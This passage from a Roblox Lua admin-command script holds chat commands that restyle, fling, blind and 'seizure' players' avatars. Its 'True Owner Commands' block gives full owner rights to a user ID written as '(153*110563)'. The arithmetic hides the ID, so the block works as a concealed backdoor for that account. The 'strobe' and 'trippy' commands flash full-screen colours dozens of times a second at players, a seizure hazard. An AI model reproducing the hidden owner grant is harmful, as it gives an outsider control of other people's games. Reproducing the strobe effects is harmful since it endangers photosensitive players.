  1684. game.Lighting.FogColor = Color3.new(1,1,1)
  1685. game.Lighting.Brightness = 1
  1686. game.Lighting.TimeOfDay = 14
  1687. wait(.1)
  1688. game.Lighting.Ambient = Color3.new(0,0,0)
  1689. game.Lighting.FogColor = Color3.new(0,0,0)
  1690. game.Lighting.Brightness = 0
  1691. game.Lighting.TimeOfDay = 0
  1692. until nil]]
  1693. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1694. end
  1695.  
  1696. if msg:lower():sub(1,5) == "spin " then
  1697. local plrz = GetPlr(plr, msg:lower():sub(6))
  1698. for i, v in pairs(plrz) do
  1699. coroutine.resume(coroutine.create(function()
  1700. if v and v.Character and v.Character:findFirstChild("Torso") then
  1701. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1702. local torso = v.Character:findFirstChild("Torso")
  1703. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1704. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1705. until not bg or bg.Parent ~= torso
  1706. end
  1707. end))
  1708. end
  1709. end
  1710.  
  1711. if msg:lower():sub(1,7) == "unspin " then
  1712. local plrz = GetPlr(plr, msg:lower():sub(8))
  1713. for i, v in pairs(plrz) do
  1714. coroutine.resume(coroutine.create(function()
  1715. if v and v.Character and v.Character:findFirstChild("Torso") then
  1716. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1717. end
  1718. end))
  1719. end
  1720. end
  1721.  
  1722. if msg:lower():sub(1,4) == "dog " then
  1723. local plrz = GetPlr(plr, msg:lower():sub(5))
  1724. for i, v in pairs(plrz) do
  1725. coroutine.resume(coroutine.create(function()
  1726. if v and v.Character and v.Character:findFirstChild("Torso") then
  1727. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1728. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1729. v.Character.Torso.Transparency = 1
  1730. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1731. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1732. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1733. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1734. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1735. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1736. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1737. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1738. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1739. end
  1740. end))
  1741. end
  1742. end
  1743.  
  1744. if msg:lower():sub(1,6) == "undog " then
  1745. local plrz = GetPlr(plr, msg:lower():sub(7))
  1746. for i, v in pairs(plrz) do
  1747. coroutine.resume(coroutine.create(function()
  1748. if v and v.Character and v.Character:findFirstChild("Torso") then
  1749. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1750. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1751. v.Character.Torso.Transparency = 0
  1752. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1753. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1754. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1755. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1756. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1757. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1758. end
  1759. end))
  1760. end
  1761. end
  1762.  
  1763. if msg:lower():sub(1,8) == "creeper " then
  1764. local plrz = GetPlr(plr, msg:lower():sub(9))
  1765. for i, v in pairs(plrz) do
  1766. coroutine.resume(coroutine.create(function()
  1767. if v and v.Character and v.Character:findFirstChild("Torso") then
  1768. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1769. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1770. v.Character.Torso.Transparency = 0
  1771. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1772. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1773. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1774. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1775. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1776. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1777. end
  1778. end))
  1779. end
  1780. end
  1781.  
  1782. if msg:lower():sub(1,10) == "uncreeper " then
  1783. local plrz = GetPlr(plr, msg:lower():sub(11))
  1784. for i, v in pairs(plrz) do
  1785. coroutine.resume(coroutine.create(function()
  1786. if v and v.Character and v.Character:findFirstChild("Torso") then
  1787. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1788. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1789. v.Character.Torso.Transparency = 0
  1790. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1791. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1792. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1793. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1794. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1795. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1796. end
  1797. end))
  1798. end
  1799. end
  1800.  
  1801. if msg:lower():sub(1,8) == "bighead " then
  1802. local plrz = GetPlr(plr, msg:lower():sub(9))
  1803. for i, v in pairs(plrz) do
  1804. coroutine.resume(coroutine.create(function()
  1805. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1806. end))
  1807. end
  1808. end
  1809.  
  1810. if msg:lower():sub(1,9) == "minihead " then
  1811. local plrz = GetPlr(plr, msg:lower():sub(10))
  1812. for i, v in pairs(plrz) do
  1813. coroutine.resume(coroutine.create(function()
  1814. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1815. end))
  1816. end
  1817. end
  1818.  
  1819. if msg:lower():sub(1,6) == "fling " then
  1820. local plrz = GetPlr(plr, msg:lower():sub(7))
  1821. for i, v in pairs(plrz) do
  1822. coroutine.resume(coroutine.create(function()
  1823. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1824. local xran local zran
  1825. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1826. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1827. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1828. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1829. end
  1830. end))
  1831. end
  1832. end
  1833.  
  1834. if msg:lower():sub(1,8) == "seizure " then
  1835. local plrz = GetPlr(plr, msg:lower():sub(9))
  1836. for i, v in pairs(plrz) do
  1837. coroutine.resume(coroutine.create(function()
  1838. if v and v.Character then
  1839. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1840. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1841. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1842. end
  1843. end))
  1844. end
  1845. end
  1846.  
  1847. if msg:lower():sub(1,10) == "unseizure " then
  1848. local plrz = GetPlr(plr, msg:lower():sub(11))
  1849. for i, v in pairs(plrz) do
  1850. coroutine.resume(coroutine.create(function()
  1851. if v and v.Character then
  1852. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1853. wait(.1) v.Character.Humanoid.PlatformStand = false
  1854. end
  1855. end))
  1856. end
  1857. end
  1858.  
  1859. if msg:lower():sub(1,12) == "removelimbs " then
  1860. local plrz = GetPlr(plr, msg:lower():sub(13))
  1861. for i, v in pairs(plrz) do
  1862. coroutine.resume(coroutine.create(function()
  1863. if v and v.Character then
  1864. for a, obj in pairs(v.Character:children()) do
  1865. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1866. end
  1867. end
  1868. end))
  1869. end
  1870. end
  1871.  
  1872. if msg:lower():sub(1,5) == "name " then
  1873. local chk1 = msg:lower():sub(6):find(" ") + 5
  1874. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1875. for i, v in pairs(plrz) do
  1876. coroutine.resume(coroutine.create(function()
  1877. if v and v.Character and v.Character:findFirstChild("Head") then
  1878. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1879. local char = v.Character
  1880. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1881. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1882. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1883. char.Head.Transparency = 1
  1884. end
  1885. end))
  1886. end
  1887. end
  1888.  
  1889. if msg:lower():sub(1,7) == "unname " then
  1890. local plrz = GetPlr(plr, msg:lower():sub(8))
  1891. for i, v in pairs(plrz) do
  1892. coroutine.resume(coroutine.create(function()
  1893. if v and v.Character and v.Character:findFirstChild("Head") then
  1894. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1895. end
  1896. end))
  1897. end
  1898. end
  1899.  
  1900. if msg:lower():sub(1,5) == "char " then
  1901. local chk1 = msg:lower():sub(6):find(" ") + 5
  1902. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1903. for i, v in pairs(plrz) do
  1904. coroutine.resume(coroutine.create(function()
  1905. if v and v.Character then
  1906. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1907. v:LoadCharacter()
  1908. end
  1909. end))
  1910. end
  1911. end
  1912.  
  1913. if msg:lower():sub(1,7) == "unchar " then
  1914. local plrz = GetPlr(plr, msg:lower():sub(8))
  1915. for i, v in pairs(plrz) do
  1916. coroutine.resume(coroutine.create(function()
  1917. if v and v.Character then
  1918. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1919. v:LoadCharacter()
  1920. end
  1921. end))
  1922. end
  1923. end
  1924.  
  1925. if msg:lower():sub(1,7) == "infect " then
  1926. local plrz = GetPlr(plr, msg:lower():sub(8))
  1927. for i, v in pairs(plrz) do
  1928. coroutine.resume(coroutine.create(function()
  1929. if v and v.Character then
  1930. Infect(v.Character)
  1931. end
  1932. end))
  1933. end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,11) == "rainbowify " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(12))
  1938. for i, v in pairs(plrz) do
  1939. coroutine.resume(coroutine.create(function()
  1940. if v and v.Character and v.Character:findFirstChild("Torso") then
  1941. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1942. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1943. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1944. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1945. cl.Parent = v.Character cl.Disabled = false
  1946. end
  1947. end))
  1948. end
  1949. end
  1950.  
  1951. if msg:lower():sub(1,9) == "flashify " then
  1952. local plrz = GetPlr(plr, msg:lower():sub(10))
  1953. for i, v in pairs(plrz) do
  1954. coroutine.resume(coroutine.create(function()
  1955. if v and v.Character and v.Character:findFirstChild("Torso") then
  1956. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1957. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1958. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1959. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1960. cl.Parent = v.Character cl.Disabled = false
  1961. end
  1962. end))
  1963. end
  1964. end
  1965.  
  1966. if msg:lower():sub(1,8) == "noobify " then
  1967. local plrz = GetPlr(plr, msg:lower():sub(9))
  1968. for i, v in pairs(plrz) do
  1969. coroutine.resume(coroutine.create(function()
  1970. if v and v.Character then
  1971. Noobify(v.Character)
  1972. end
  1973. end))
  1974. end
  1975. end
  1976.  
  1977. if msg:lower():sub(1,9) == "ghostify " then
  1978. local plrz = GetPlr(plr, msg:lower():sub(10))
  1979. for i, v in pairs(plrz) do
  1980. coroutine.resume(coroutine.create(function()
  1981. if v and v.Character and v.Character:findFirstChild("Torso") then
  1982. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1983. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1984. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1985. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1986. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1987. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1988. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1989. end end
  1990. end
  1991. end))
  1992. end
  1993. end
  1994.  
  1995. if msg:lower():sub(1,8) == "goldify " then
  1996. local plrz = GetPlr(plr, msg:lower():sub(9))
  1997. for i, v in pairs(plrz) do
  1998. coroutine.resume(coroutine.create(function()
  1999. if v and v.Character and v.Character:findFirstChild("Torso") then
  2000. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2001. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2002. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2003. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2004. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2005. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2006. end end
  2007. end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. if msg:lower():sub(1,6) == "shiny " then
  2013. local plrz = GetPlr(plr, msg:lower():sub(7))
  2014. for i, v in pairs(plrz) do
  2015. coroutine.resume(coroutine.create(function()
  2016. if v and v.Character and v.Character:findFirstChild("Torso") then
  2017. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2018. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2019. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2020. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2021. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2022. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2023. end end
  2024. end
  2025. end))
  2026. end
  2027. end
  2028.  
  2029. if msg:lower():sub(1,7) == "normal " then
  2030. local plrz = GetPlr(plr, msg:lower():sub(8))
  2031. for i, v in pairs(plrz) do
  2032. coroutine.resume(coroutine.create(function()
  2033. if v and v.Character and v.Character:findFirstChild("Torso") then
  2034. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2035. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2036. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2037. v.Character.Torso.Transparency = 0
  2038. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2039. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2040. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2041. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2042. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2043. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2044. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2045. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2046. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2047. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2048. end end
  2049. end
  2050. end))
  2051. end
  2052. end
  2053.  
  2054. if msg:lower():sub(1,7) == "trippy " then
  2055. local plrz = GetPlr(plr, msg:lower():sub(8))
  2056. for i, v in pairs(plrz) do
  2057. coroutine.resume(coroutine.create(function()
  2058. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2059. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2060. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2061. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2062. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2063. end
  2064. end))
  2065. end
  2066. end
  2067.  
  2068. if msg:lower():sub(1,9) == "untrippy " then
  2069. local plrz = GetPlr(plr, msg:lower():sub(10))
  2070. for i, v in pairs(plrz) do
  2071. coroutine.resume(coroutine.create(function()
  2072. if v and v:findFirstChild("PlayerGui") then
  2073. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2074. end
  2075. end))
  2076. end
  2077. end
  2078.  
  2079. if msg:lower():sub(1,7) == "strobe " then
  2080. local plrz = GetPlr(plr, msg:lower():sub(8))
  2081. for i, v in pairs(plrz) do
  2082. coroutine.resume(coroutine.create(function()
  2083. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2084. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2085. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2086. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2087. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2088. end
  2089. end))
  2090. end
  2091. end
  2092.  
  2093. if msg:lower():sub(1,9) == "unstrobe " then
  2094. local plrz = GetPlr(plr, msg:lower():sub(10))
  2095. for i, v in pairs(plrz) do
  2096. coroutine.resume(coroutine.create(function()
  2097. if v and v:findFirstChild("PlayerGui") then
  2098. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2099. end
  2100. end))
  2101. end
  2102. end
  2103.  
  2104. if msg:lower():sub(1,6) == "blind " then
  2105. local plrz = GetPlr(plr, msg:lower():sub(7))
  2106. for i, v in pairs(plrz) do
  2107. coroutine.resume(coroutine.create(function()
  2108. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2109. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2110. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2111. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2112. end
  2113. end))
  2114. end
  2115. end
  2116.  
  2117. if msg:lower():sub(1,8) == "unblind " then
  2118. local plrz = GetPlr(plr, msg:lower():sub(9))
  2119. for i, v in pairs(plrz) do
  2120. coroutine.resume(coroutine.create(function()
  2121. if v and v:findFirstChild("PlayerGui") then
  2122. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2123. end
  2124. end))
  2125. end
  2126. end
  2127.  
  2128. if msg:lower():sub(1,7) == "guifix " then
  2129. local plrz = GetPlr(plr, msg:lower():sub(8))
  2130. for i, v in pairs(plrz) do
  2131. coroutine.resume(coroutine.create(function()
  2132. if v and v:findFirstChild("PlayerGui") then
  2133. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2134. end
  2135. end))
  2136. end
  2137. end
  2138.  
  2139. if msg:lower():sub(1,9) == "loopheal " then
  2140. local plrz = GetPlr(plr, msg:lower():sub(10))
  2141. for i, v in pairs(plrz) do
  2142. if v then
  2143. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2144. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2145. repeat wait()
  2146. coroutine.resume(coroutine.create(function()
  2147. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2148. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2149. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2150. end
  2151. end))
  2152. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2153. end
  2154. end
  2155. end
  2156.  
  2157. if msg:lower():sub(1,11) == "unloopheal " then
  2158. local plrz = GetPlr(plr, msg:lower():sub(12))
  2159. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2160. end
  2161.  
  2162. if msg:lower():sub(1,10) == "loopfling " then
  2163. local plrz = GetPlr(plr, msg:lower():sub(11))
  2164. for i, v in pairs(plrz) do
  2165. if v then
  2166. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2167. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2168. repeat
  2169. coroutine.resume(coroutine.create(function()
  2170. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2171. local xran local zran
  2172. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2173. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2174. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2175. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2176. end
  2177. end))
  2178. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2179. end
  2180. end
  2181. end
  2182.  
  2183. if msg:lower():sub(1,12) == "unloopfling " then
  2184. local plrz = GetPlr(plr, msg:lower():sub(13))
  2185. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2186. end
  2187.  
  2188. end
  2189.  
  2190. -------------------------
  2191. -- True Owner Commands --
  2192. -------------------------
  2193.  
  2194. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2195.  
  2196. if msg:lower():sub(1,3) == "oa " then
  2197. local plrz = GetPlr(plr, msg:lower():sub(4))
  2198. for i, v in pairs(plrz) do
  2199. coroutine.resume(coroutine.create(function()
  2200. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2201. end))
  2202. end
  2203. end
  2204.  
  2205. if msg:lower():sub(1,5) == "unoa " then
  2206. for i = 1, #owners do
  2207. coroutine.resume(coroutine.create(function()
  2208. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2209. end))
  2210. end
  2211. end
  2212.  
  2213. if msg:lower() == "settings" then
